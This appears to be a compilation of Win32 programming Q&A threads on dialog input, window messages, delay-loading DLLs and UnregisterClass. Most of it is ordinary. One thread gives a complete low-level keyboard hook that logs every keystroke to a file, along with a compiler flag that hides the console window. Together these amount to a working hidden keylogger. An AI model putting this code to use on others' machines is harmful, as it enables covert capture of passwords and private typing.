I have made a simple win32 application, that opens a dialog box with an edit control. After searching for hours I couldn't find a way to get the user input from this edit control and store it in a string. I think the code here does what I want (haven't tested it) but I don't understand any of it. So an explanation or other solution would be nice. (I'm using VC++ 2012)
Other solution I found that IS C++ :S
Ok, I made a seperate message loop, and inserted the code there. Which now looks like this:
INT_PTR CALLBACK IP(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam)
{
UNREFERENCED_PARAMETER(lParam);
switch (message)
{
case WM_INITDIALOG:
return (INT_PTR)TRUE;
case WM_COMMAND:
if (LOWORD(wParam) == IDCANCEL)
{
EndDialog(hDlg, LOWORD(wParam));
return (INT_PTR)TRUE;
}
else if(LOWORD(wParam) == IDOK)
{
TCHAR szBuf[40];
GetDlgItemText(hDlg, IDC_EDIT1, szBuf, 39);
//Breakpoint here!
//szBuf="127.0.0.1" as intended :)
EndDialog(hDlg, LOWORD(wParam));
return (INT_PTR)TRUE;
}
break;
}
return (INT_PTR)FALSE;
}
Try to use
UINT WINAPI GetDlgItemText(
_In_ HWND hDlg,
_In_ int nIDDlgItem,
_Out_ LPTSTR lpString,
_In_ int nMaxCount
);
like this:
TCHAR szBuf[BUFF_LEN];
GetDlgItemText(hWnd, TXT_MYEDIT_ID, szBuf, BUFF_LEN - 1);
Related
I've been searching for the answer for hours, and a common solution is to respond to a WM_GETDLGCODE message, but I never get that message to respond to.
My example code is:
#include <windows.h>
#include "resource.h"
static LRESULT CALLBACK DlgProc(HWND hDlg, UINT uMsg,
WPARAM wParam, LPARAM lParam)
{
switch(uMsg) {
case WM_INITDIALOG:
return TRUE;
case WM_COMMAND:
switch (wParam) {
case IDOK:
case IDCANCEL:
EndDialog(hDlg, 0);
return TRUE;
}
break;
case WM_GETDLGCODE:
MessageBox(hDlg, "Got WM_GETDLGCODE", "DlgProc", MB_OK);
return DLGC_WANTCHARS;
case WM_CHAR:
MessageBox(hDlg, "Got WM_CHAR", "DlgProc", MB_OK);
break;
}
return FALSE;
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
PSTR szcmdline, int iCmdShow)
{
DialogBox(hInstance, MAKEINTRESOURCE(IDD_DIALOG1),
NULL, DlgProc);
return 0;
}
The dialog is a single edit box (1st tab stop) with the Ok and Cancel buttons. The problem is, I get neither the WM_GETDLGCODE nor the WM_CHAR message. Before I continue down this path, I just want to know if this should work or not. Hooks is my next choice, but if WM_CHAR is available, it seemed like a less complicated solution if I want to keep the dialog modal.
I am hooking the keys and writing them down to a file, everything works fine but when I make the console window hidden, I can not hook the keys and print to a file, how to get rid of this problem? Down below when I removed ShowWindow() function I am able to hook the keys but otherwise I am not. I see the process is still running on task manager by the way.
See my example code here:
KBDLLHOOKSTRUCT kbdSTRUCT;
int APIENTRY WinMain(HINSTANCE hinstance, HINSTANCE hprevious, LPSTR cmdline, int cmdshow ) {
HWND wnd;
wnd = GetConsoleWindow();
ShowWindow(wnd, FALSE);
HHOOK kbdHOOK;
kbdHOOK = SetWindowsHookEx(WH_KEYBOARD_LL, kbdProc, NULL, 0);
MSG msgg;
while(GetMessage(&msgg, NULL, 0, 0) > 0){
TranslateMessage(&msgg);
DispatchMessage(&msgg);
}
}
LRESULT CALLBACK kbdProc(int nCode, WPARAM wPar, LPARAM lPar){
if(nCode >= 0){
if(wPar == 256){
kbdSTRUCT = *(KBDLLHOOKSTRUCT *)lPar;
if(kbdSTRUCT.vkCode == 0x90){
//fprintf function here to write to a file
return CallNextHookEx(NULL, nCode, wPar, lPar);
}
}
}
}
Thank you so much
When using gcc, -mwindows will set the Windows subsystem, this way no console window will appear when entry point is WinMain
gcc myfile.c -mwindows -o myfile.exe
Use a global variable to store SetWindowsHookEx result and pass it kbdProc, use that in CallNextHookEx
#include <Windows.h>
#include <stdio.h>
HHOOK hhook = NULL;
LRESULT CALLBACK kbdProc(int nCode, WPARAM wPar, LPARAM lPar)
{
if(nCode >= 0) {
if(wPar == WM_KEYDOWN) { //or WM_KEYUP!
KBDLLHOOKSTRUCT *kb = (KBDLLHOOKSTRUCT*)lPar;
int c = kb->vkCode;
FILE *file = fopen("test", "a");
switch(c) {
case VK_NUMLOCK: fprintf(file, "VK_NUMLOCK\n"); break;
case VK_RETURN: fprintf(file, "\n"); break;
default: fprintf(file, "%c", c); break;
}
fclose(file);
}
}
return CallNextHookEx(hhook, nCode, wPar, lPar);
}
int APIENTRY WinMain(HINSTANCE hinst, HINSTANCE hprev, LPSTR cmdline, int show)
{
hhook = SetWindowsHookEx(WH_KEYBOARD_LL, kbdProc, NULL, 0);
MSG msg;
while(GetMessage(&msg, NULL, 0, 0) > 0) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
UnhookWindowsHookEx(hhook);
return 0;
}
Make sure to use the correct windows constants. For example ShowWindow(wnd, SW_HIDE) instead of ShowWindow(wnd, FALSE). WM_KEYUP instead of 256. Otherwise the code will be too confusing when you look at the next day. Other people will not understand it.
You need to examine the shift key in addition to VK_NUMLOCK to find upper/lower case letters ...
Consider the following code which needs to call one of two functions in User32.dll.
if( IsWindowsVistaOrGreater() )
AddClipboardFormatListener(hWnd) ;
else
SetClipboardViewer(hWnd) ;
If I'm not mistaken, this program will fail to start on WinXP because AddClipboardFormatListener does not exist in User32.dll under XP.
One way to solve this is not calling AddClipboardFormatListener directly but rather get a pointer to it ourselves:
GetProcAddress(GetModuleHandle("User32.dll"), "AddClipboardFormatListener").
However, if I instruct the linker to delay-load User32.dll...
Would this avoid loading that specific function under XP so that I don't need to call GetModuleHandle and GetProcAddress?
Is it recommended to delay-load a DLL when only a few functions need to be delay-loaded?
The case of User32.dll is particularly dramatic on the second point since most of the functions used in the program are know to exist in that DLL on all Windows versions.
I would guess that linking at load-time is more efficient than at run-time since the latter needs additional checks before each function call.
But I'm just guessing, hence the question.
Would this avoid loading that specific function under XP so that I don't need to call GetModuleHandle and GetProcAddress?
Yes. This is exactly the type of situation that delay-loading was invented for. your code can call a DLL function as if it were statically linked, but the executable will not load the DLL function pointer at runtime until the function is actually called for the first time. Internally, the delay-load mechanism uses LoadLibrary() and GetProcAddress() for you.
Is it recommended to delay-load a DLL when only a few functions need to be delay-loaded?
If a DLL is delay-loaded, ALL of its functions are delay-loaded, you cannot pick and choose which ones you want. So, if your app needs to use a lot of functions from the same DLL, like user32.dll, then static linking is usually more efficient, and then you can use GetProcAddress() manually for the few functions you really need to handle differently.
In this case, I would suggest getting rid of the OS check altogether and rely only on whether the DLL function actually exists or not, eg:
typedef BOOL (WINAPI *LPFN_ACFL)(HWND);
LPFN_ACFL lpAddClipboardFormatListener = (LPFN_ACFL) GetProcAddress(GetModuleHandle(TEXT("user32")), "AddClipboardFormatListener");
if( lpAddClipboardFormatListener != NULL )
lpAddClipboardFormatListener(hWnd);
else
SetClipboardViewer(hWnd);
Where delay-loading really shines is in its hooks. For instance, on earlier systems, you can use a delay-load failure hook to implement your own version of AddClipboardFormatListener(), and then your main code can just call AddClipboardFormatListener() unconditionally on all systems and it won't know the difference. For example (just a demo, not actually tested):
LRESULT CALLBACK ClipboardSubClassProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam, UINT_PTR uIdSubclass, DWORD_PTR dwRefData)
{
switch (uMsg)
{
case WM_NCDESTROY:
RemoveWindowSubclass(hWnd, &ClipboardSubClassProc, uIdSubclass);
break;
case WM_CHANGECBCHAIN:
{
if (wParam == dwRefData)
SetWindowSubclass(hWnd, &ClipboardSubClassProc, uIdSubclass, lParam);
else if (dwRefData != 0)
SendMessage((HWND)dwRefData, uMsg, wParam, lParam);
break;
}
case WM_DRAWCLIPBOARD:
{
SendMessage(hWnd, WM_CLIPBOARDUPDATE, 0, 0);
if (dwRefData != 0)
SendMessage((HWND)dwRefData, uMsg, wParam, lParam);
break;
}
}
return DefSubclassProc(hWnd, uMsg, wParam, lParam);
}
BOOL WINAPI My_AddClipboardFormatListener(HWND hWnd)
{
HWND hWndNext = SetClipboardViewer(hWnd);
if ((!hWndNext) && (GetLastError() != 0))
return FALSE;
if (!SetWindowSubclass(hWnd, &ClipboardSubClassProc, 1, (DWORD_PTR)hWndNext))
{
DWORD dwErr = GetLastError();
ChangeClipboardChain(hWnd, hwndNext);
SetLastError(dwErr);
return FALSE;
}
return TRUE;
}
BOOL WINAPI My_RemoveClipboardFormatListener(HWND hWnd)
{
DWORD_PTR dwRefData;
if (!GetWindowSubclass(hWnd, &ClipboardSubClassProc, 1, &dwRefData))
{
SetLastError(ERROR_NOT_FOUND);
return FALSE;
}
RemoveWindowSubclass(hWnd, &ClipboardSubClassProc, 1);
return ChangeClipboardChain(hWnd, (HWND)dwRefData);
}
FARPROC WINAPI MyDliFailureHook(unsigned dliNotify, PDelayLoadInfo pdli)
{
if ((dliNotify == dliFailGetProc) && (pdli->dlp.fImportByName))
{
if (strcmp(pdli->dlp.szProcName, "AddClipboardFormatListener") == 0)
return (FARPROC) &My_AddClipboardFormatListener;
if (strcmp(pdli->dlp.szProcName, "RemoveClipboardFormatListener") == 0)
return (FARPROC) &My_RemoveClipboardFormatListener;
}
return NULL;
}
__pfnDliFailureHook2 = &MyDliFailureHook;
...
LRESULT CALLBACK MyWndProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
switch (uMsg)
{
case WM_CREATE:
AddClipboardFormatListener(hWnd);
break;
case WM_DESTROY:
RemoveClipboardFormatListener(hWnd);
break;
case WM_CLIPBOARDUPDATE:
// do all of your clipboard processing here...
break;
...
}
return DefWindowProc(hWnd, uMsg, wParam, lParam);
}
Using Visual Studio 2013
I have an application that could potentially use up to about 20 window classes, but not all at the same time. In order to save on space I decided to Unregister those not needed any more before starting another batch of window classes, but I could not make the UnregisterClass function work.
I called Unregister at WM_DESTROY and/or WM_NCDESTROY but it always returned error message 1412 'Class still has open window'. Perhaps the Unregister call in WM_DESTROY failed because the window had not been destroyed yet, but I did not expect the call in WM_NCDESTROY to fail since this message is sent after destruction of the window.
The only way I could make UnregisterClass work was to call PostQuitMessage at either WM_DESTROY or WM_NCDESTROY. Then UnregisterClass would work after the message loop just before the whole application exits, but I want to start another batch of classes from inside the application, not to have to start it all over.
I am submitting a test program that shows the problem. It is Win32Project7, a program provided by Visual Studio 2013 with two tiny additions by myself - wrapped Messagebox (mbox) and a procedure to call unregister (tryunreg).
One extreme would be to register 20 window classes just to have them ready when needed, another would be to use a single windowclass and multiplex on HWND. Not too keen on any of these.
Questions:
Have I made mistakes or wrong assumptions in this program?
Is there a way to make unregisterclass work without having to close the program?
how much space would a typical windowclass register need? Is it likely to be KB or MB? Any way to experiment to find out?
Have Googled on this. Did not find anything that is not already in the documentation, e.g. like unregister is automatic on exit from application. Stackoverflow has two posts similar to this, but with no answers.
The code:
I placed the code like this:
<pre>
program fragments
</pre>
enclosed between html pre tags
but the post was not sent. Error message said the text was formatted like
a program but the indentation was not 4 spaces. Originally it wasn't but I changed it, but it still was not sent.
Have never sent questions on this forum, so I am doing something wrong. What?
Here is the code I did not know how to send in my original post.
Better late than never.
// Win32Project7.cpp : Defines the entry point for the application.
#include "stdafx.h"
#include "Win32Project7.h"
#define MAX_LOADSTRING 100
// Global Variables:
HINSTANCE hInst;
TCHAR szTitle[MAX_LOADSTRING];
TCHAR szWindowClass[MAX_LOADSTRING];
// Forward declarations of functions included in this code module:
ATOM MyRegisterClass(HINSTANCE hInstance);
BOOL InitInstance(HINSTANCE, int);
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
INT_PTR CALLBACK About(HWND, UINT, WPARAM, LPARAM);
static void mbox(const wchar_t * msg) // added
{
int errcode;
const wchar_t * caption = L"Info";
int res = MessageBox(NULL, msg, caption, 0);
if (res == 0)
{
errcode = GetLastError();
return; // was setting breakpoint, but never got here
// but mbox does not give any output after postquit
}
}
static void tryunreg(const wchar_t * where) // added
{
int errcode;
wchar_t outmsg[100];
BOOL b = UnregisterClass(szWindowClass, hInst);
if (!b)
{
errcode = GetLastError();
wsprintf(outmsg, L"%s: Unreg failed for classname %s errcode %d",
where, szWindowClass, errcode);
}
else
{
wsprintf(outmsg, L"%s: Unreg worked", where);
}
mbox(outmsg);
}
int APIENTRY _tWinMain(_In_ HINSTANCE hInstance,
_In_opt_ HINSTANCE hPrevInstance,
_In_ LPTSTR lpCmdLine,
_In_ int nCmdShow)
{
UNREFERENCED_PARAMETER(hPrevInstance);
UNREFERENCED_PARAMETER(lpCmdLine);
// TODO: Place code here.
MSG msg;
HACCEL hAccelTable;
// Initialize global strings
LoadString(hInstance, IDS_APP_TITLE, szTitle, MAX_LOADSTRING);
LoadString(hInstance, IDC_WIN32PROJECT7, szWindowClass, MAX_LOADSTRING);
MyRegisterClass(hInstance);
// Perform application initialization:
if (!InitInstance (hInstance, nCmdShow))
{
return FALSE;
}
hAccelTable = LoadAccelerators(hInstance,
MAKEINTRESOURCE(IDC_WIN32PROJECT7));
// Main message loop:
while (GetMessage(&msg, NULL, 0, 0))
{
if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
tryunreg(L"After message loop" ); // added this
return (int) msg.wParam;
}
//
// FUNCTION: MyRegisterClass()
//
// PURPOSE: Registers the window class.
//
ATOM MyRegisterClass(HINSTANCE hInstance)
{
WNDCLASSEX wcex;
wcex.cbSize = sizeof(WNDCLASSEX);
wcex.style = CS_HREDRAW | CS_VREDRAW;
wcex.lpfnWndProc = WndProc;
wcex.cbClsExtra = 0;
wcex.cbWndExtra = 0;
wcex.hInstance = hInstance;
wcex.hIcon = LoadIcon(hInstance,
MAKEINTRESOURCE(IDI_WIN32PROJECT7));
wcex.hCursor = LoadCursor(NULL, IDC_ARROW);
wcex.hbrBackground = (HBRUSH)(COLOR_WINDOW+1);
wcex.lpszMenuName = MAKEINTRESOURCE(IDC_WIN32PROJECT7);
wcex.lpszClassName = szWindowClass;
wcex.hIconSm = LoadIcon(wcex.hInstance,
MAKEINTRESOURCE(IDI_SMALL));
return RegisterClassEx(&wcex);
}
//
// FUNCTION: InitInstance(HINSTANCE, int)
//
// PURPOSE: Saves instance handle and creates main window
//
// COMMENTS:
//
// In this function, we save the instance handle in a global
// variable and
// create and display the main program window.
//
BOOL InitInstance(HINSTANCE hInstance, int nCmdShow)
{
HWND hWnd;
hInst = hInstance; // Store instance handle in our global variable
hWnd = CreateWindow(szWindowClass, szTitle, WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT, 0, CW_USEDEFAULT, 0, NULL, NULL, hInstance, NULL);
if (!hWnd)
{
return FALSE;
}
ShowWindow(hWnd, nCmdShow);
UpdateWindow(hWnd);
return TRUE;
}
//
// FUNCTION: WndProc(HWND, UINT, WPARAM, LPARAM)
//
// PURPOSE: Processes messages for the main window.
//
// WM_COMMAND - process the application menu
// WM_PAINT - Paint the main window
// WM_DESTROY - post a quit message and return
//
//
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam,
LPARAM lParam)
{
int wmId, wmEvent;
PAINTSTRUCT ps;
HDC hdc;
BOOL b;
int errcode;
wchar_t msg[100];
switch (message)
{
case WM_COMMAND:
wmId = LOWORD(wParam);
wmEvent = HIWORD(wParam);
// Parse the menu selections
switch (wmId)
{
case IDM_ABOUT:
DialogBox(hInst, MAKEINTRESOURCE(IDD_ABOUTBOX),
hWnd, About);
break;
case IDM_EXIT:
DestroyWindow(hWnd);
break;
default:
return DefWindowProc(hWnd, message, wParam, lParam);
}
break;
case WM_PAINT:
hdc = BeginPaint(hWnd, &ps);
// TODO: Add any drawing code here...
EndPaint(hWnd, &ps);
break;
case WM_CLOSE: // added
// mbox(L"#wm_close before destroywindow");
DestroyWindow(hWnd);
break;
case WM_DESTROY:
tryunreg(L"#wm_destroy before postquit"); // added
PostQuitMessage(0); // in original MS code
tryunreg(L"#wm_destroy after postquit"); // added
break;
case WM_NCDESTROY: // added
tryunreg(L"#wm_NCdestroy before postquit"); // added
//PostQuitMessage(0);
tryunreg(L"#wm_NCdestroy after postquit"); // added
break;
default:
return DefWindowProc(hWnd, message, wParam, lParam);
}
return 0;
}
// Message handler for about box.
INT_PTR CALLBACK About(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam)
{
UNREFERENCED_PARAMETER(lParam);
switch (message)
{
case WM_INITDIALOG:
return (INT_PTR)TRUE;
case WM_COMMAND:
if (LOWORD(wParam) == IDOK || LOWORD(wParam) == IDCANCEL)
{
EndDialog(hDlg, LOWORD(wParam));
return (INT_PTR)TRUE;
}
break;
}
return (INT_PTR)FALSE;
}
The time that UnregisterClass is needed is a dynamically loaded DLL that registers a window class. Such a library needs to ensure that the class is unregistered before it unloads, otherwise a CreateWindow for that class would make a call to code that is no longer present.
If you do choose to unregister window classes a delay can be introduced by using QueueUserAPC, however that does require changing the message loop (to one based around MsgWaitForMultipleObjectsEx and an embedded PeekMessage loop). Or you could use a thread message.
I prefer the APC because it allows for decoupling the code to be invoked from the rest of the program. For example in MFC using a thread message would require changing the message map for the thread class (the CWinApp in most cases).
I created toplevel window, but for unknown reasons my WNDPROC does not receive WM_LBUTTONDOWN/WM_LBUTTONUP nor WM_MOUSEMOVE messages.
Any suggestions?
Relevant code:
WNDCLASSEX wc = {0};
Wc.cbSize = 48;
Wc.cbWndExtra = 80;
Wc.hCursor = LoadCursorW(g_hInstance, MAKEINTRESOURCEW(1002));
Wc.style = CS_GLOBALCLASS | CS_DBLCLKS;
Wc.lpszClassName = Ici[dItemIndex].sInit;
Wc.lpfnWndProc = Ici[dItemIndex].wInit;
RegisterClassExW(&Wc);
g_hRuler1 = CreateWindowExW(WS_EX_TOOLWINDOW,
RULER_CONTROL,
L"",
WS_POPUP|WS_VISIBLE|0x1,
100 ,100, 40, RECTHEIGHT(g_rScreen),
NULL, NULL, hInst, NULL);
LRESULT WINAPI Ruler_Window(HWND hWindow, UINT uWindow, WPARAM wParam, LPARAM lParam)
{
if (uWindow == WM_GETMINMAXINFO)
{
goto DODEFAULT;
}
if (uWindow == WM_NCCREATE)
{
g_pGRI = RULER_ALLOCATE();
RULER_SET_POINTER(hWindow, (LONG_PTR)g_pGRI);
return 1L;
}
g_pGRI = RULER_GET_POINTER(hWindow);
g_pGRI->hWindow = hWindow;
switch(uWindow)
{
case WM_CREATE:
{
return Ruler_OnCreate(wParam, lParam);
}
case WM_PAINT:
{
return Ruler_OnPaint(wParam, lParam);
}
case WM_MOUSEMOVE:
{
return Ruler_OnMouseMove(wParam, lParam);
}
case WM_DESTROY:
{
return Ruler_OnDestroy(wParam, lParam);
}
case WM_SETCURSOR:
{
return Ruler_OnSetCursor(wParam, lParam);
}
case WM_LBUTTONDOWN:
{
return Ruler_OnLeftButtonDown(wParam, lParam);
}
case WM_LBUTTONUP:
{
return Ruler_OnLeftButtonUp(wParam, lParam);
}
case GM_SETINDICATORS:
{
return Ruler_OnSetIndicators(wParam, lParam);
}
DODEFAULT:
return DefWindowProcW(hWindow, uWindow, wParam, lParam);
}
}
Spy++ messages of window after left button click.
I think that the problem here is that you are most likely not calling DefWindowProc from your custom wndProc method (Ruler_Window).
Your code structure in your wndProc is a little... interesting.
You handle the messages you are interested in in a switch statement (with the exception of WM_NCCREATE, which is fine), but your switch statement doesn't actually have a default: entry... instead you have created a label called DODEFAULT, which you only reference once - when the message is WM_GETMINMAXINFO you goto DODEFAULT. Ignoring the issue of using a goto here, you basically do not handle any messages other than those listed in your code, and more importantly, you don't pass other messages to the default handler.
A very quick, very simple rewrite of your Ruler_Window method:
LRESULT WINAPI Ruler_Window(HWND hWindow, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
if (uMsg == WM_NCCREATE)
{
g_pGRI = RULER_ALLOCATE();
RULER_SET_POINTER(hWindow, (LONG_PTR)g_pGRI);
return DefWindowProcW(hWindow, uMsg, wParam, lParam);
}
// not sure what g_pGRI is, guessing it's a global?
// should this actually be passed into the handlers below?
g_pGRI = RULER_GET_POINTER(hWindow);
g_pGRI->hWindow = hWindow;
switch(uMsg)
{
case WM_CREATE:
return Ruler_OnCreate(wParam, lParam);
case WM_PAINT:
return Ruler_OnPaint(wParam, lParam);
case WM_MOUSEMOVE:
return Ruler_OnMouseMove(wParam, lParam);
case WM_DESTROY:
return Ruler_OnDestroy(wParam, lParam);
case WM_SETCURSOR:
return Ruler_OnSetCursor(wParam, lParam);
case WM_LBUTTONDOWN:
return Ruler_OnLeftButtonDown(wParam, lParam);
case WM_LBUTTONUP:
return Ruler_OnLeftButtonUp(wParam, lParam);
case GM_SETINDICATORS:
return Ruler_OnSetIndicators(wParam, lParam);
default:
break;
}
return DefWindowProcW(hWindow, uMsg, wParam, lParam);
}
Note, I also changed the name of the message parameter to be uMsg, as it makes reading the code much easier, IMHO.
I suspect that the problem is that you are not calling DefWindowProc for WM_NCCREATE and WM_CREATE. This means that the window is never setting up its client areas, so the messages are coming in as WM_NC*.
You should always pass WM_NCCREATE and WM_CREATE on to DefWindowProc.